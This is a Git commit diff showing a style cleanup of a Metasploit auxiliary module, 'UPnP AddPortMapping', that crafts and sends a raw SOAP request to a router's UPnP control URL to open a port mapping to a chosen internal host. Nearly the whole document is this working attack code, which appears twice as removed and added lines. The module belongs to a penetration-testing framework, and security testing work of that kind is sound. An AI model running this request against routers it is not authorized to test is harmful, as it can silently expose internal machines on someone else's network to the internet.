First pass at style cleanup

bug/bundler_fix
Jon Hart 2015-08-28 14:19:28 -07:00
parent 3fd18e4844
commit 45c2422981
No known key found for this signature in database
GPG Key ID: 2FA9F0A3AFA8E9D3
1 changed files with 50 additions and 49 deletions

View File

@ -6,64 +6,65 @@
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::Tcp
def initialize
super(
'Name' => 'UPnP AddPortMapping',
'Version' => '$Revision: 1 $',
'Description' => 'UPnP AddPortMapping SOAP request',
'Author' => 'St0rn <fabien@anbu-pentest.com>',
'License' => MSF_LICENSE
)
register_options(
def initialize
super(
'Name' => 'UPnP AddPortMapping',
'Description' => 'UPnP AddPortMapping SOAP request',
'Author' => 'St0rn <fabien@anbu-pentest.com>',
'License' => MSF_LICENSE
)
register_options(
[
OptString.new('CTRL_URL', [ true, 'UPnP Control URL']),
OptString.new('INTERNAL_CLIENT', [ true, 'New Internal Client']),
OptInt.new('INTERNAL_PORT', [ true, 'New Internal Port']),
OptInt.new('EXTERNAL_PORT', [ true, 'New External Port'])
], self.class)
end
],
self.class
)
end
def run()
ctrlurl = datastore['CTRL_URL']
soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping"
def run
ctrlurl = datastore['CTRL_URL']
soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping"
content = "<?xml version=\"1.0\"?>"
content << "<SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">"
content << "<SOAP-ENV:Body>"
content << "<m:AddPortMapping xmlns:m=\"urn:schemas-upnp-org:service:WANIPConnection:1\">"
content << "<NewPortMappingDescription>New Port Mapping</NewPortMappingDescription>"
content << "<NewLeaseDuration>3600</NewLeaseDuration>"
content << "<NewInternalClient>#{datastore['INTERNAL_CLIENT']}</NewInternalClient>"
content << "<NewEnabled>1</NewEnabled>"
content << "<NewExternalPort>#{datastore['EXTERNAL_PORT']}</NewExternalPort>"
content << "<NewRemoteHost></NewRemoteHost>"
content << "<NewProtocol>TCP</NewProtocol>"
content << "<NewInternalPort>#{datastore['INTERNAL_PORT']}</NewInternalPort>"
content << "</m:AddPortMapping>"
content << "</SOAP-ENV:Body>"
content << "</SOAP-ENV:Envelope>"
content = "<?xml version=\"1.0\"?>"
content << "<SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">"
content << "<SOAP-ENV:Body>"
content << "<m:AddPortMapping xmlns:m=\"urn:schemas-upnp-org:service:WANIPConnection:1\">"
content << "<NewPortMappingDescription>New Port Mapping</NewPortMappingDescription>"
content << "<NewLeaseDuration>3600</NewLeaseDuration>"
content << "<NewInternalClient>#{datastore['INTERNAL_CLIENT']}</NewInternalClient>"
content << "<NewEnabled>1</NewEnabled>"
content << "<NewExternalPort>#{datastore['EXTERNAL_PORT']}</NewExternalPort>"
content << "<NewRemoteHost></NewRemoteHost>"
content << "<NewProtocol>TCP</NewProtocol>"
content << "<NewInternalPort>#{datastore['INTERNAL_PORT']}</NewInternalPort>"
content << "</m:AddPortMapping>"
content << "</SOAP-ENV:Body>"
content << "</SOAP-ENV:Envelope>"
contentlen = content.length
contentlen = content.length
header = "POST http://#{rhost}:#{rport}/#{ctrlurl} HTTP/1.0\r\n"
header << "Content-Type: text/xml;charset=\"utf-8\"\r\n"
header << "SOAPAction: #{soapaction}\n\r"
header << "User-Agent: SOAP AddPortMapping Metasploit Module\r\n"
header << "Host: #{rhost}:#{rport}\r\n"
header << "Content-Length: #{contentlen}\r\n"
header << "\r\n"
header << content
header = "POST http://#{rhost}:#{rport}/#{ctrlurl} HTTP/1.0\r\n"
header << "Content-Type: text/xml;charset=\"utf-8\"\r\n"
header << "SOAPAction: #{soapaction}\n\r"
header << "User-Agent: SOAP AddPortMapping Metasploit Module\r\n"
header << "Host: #{rhost}:#{rport}\r\n"
header << "Content-Length: #{contentlen}\r\n"
header << "\r\n"
header << content
print_status("Sending SOAP Request")
connect()
sock.puts(header)
resp=sock.recv(1024)
if resp.include? "200 OK"
print_good("PAT added successfully")
else
print_error("Fail")
end
end
print_status("Sending SOAP Request")
connect
sock.puts(header)
resp = sock.recv(1024)
if resp.include? "200 OK"
print_good("PAT added successfully")
else
print_error("Fail")
end
end
end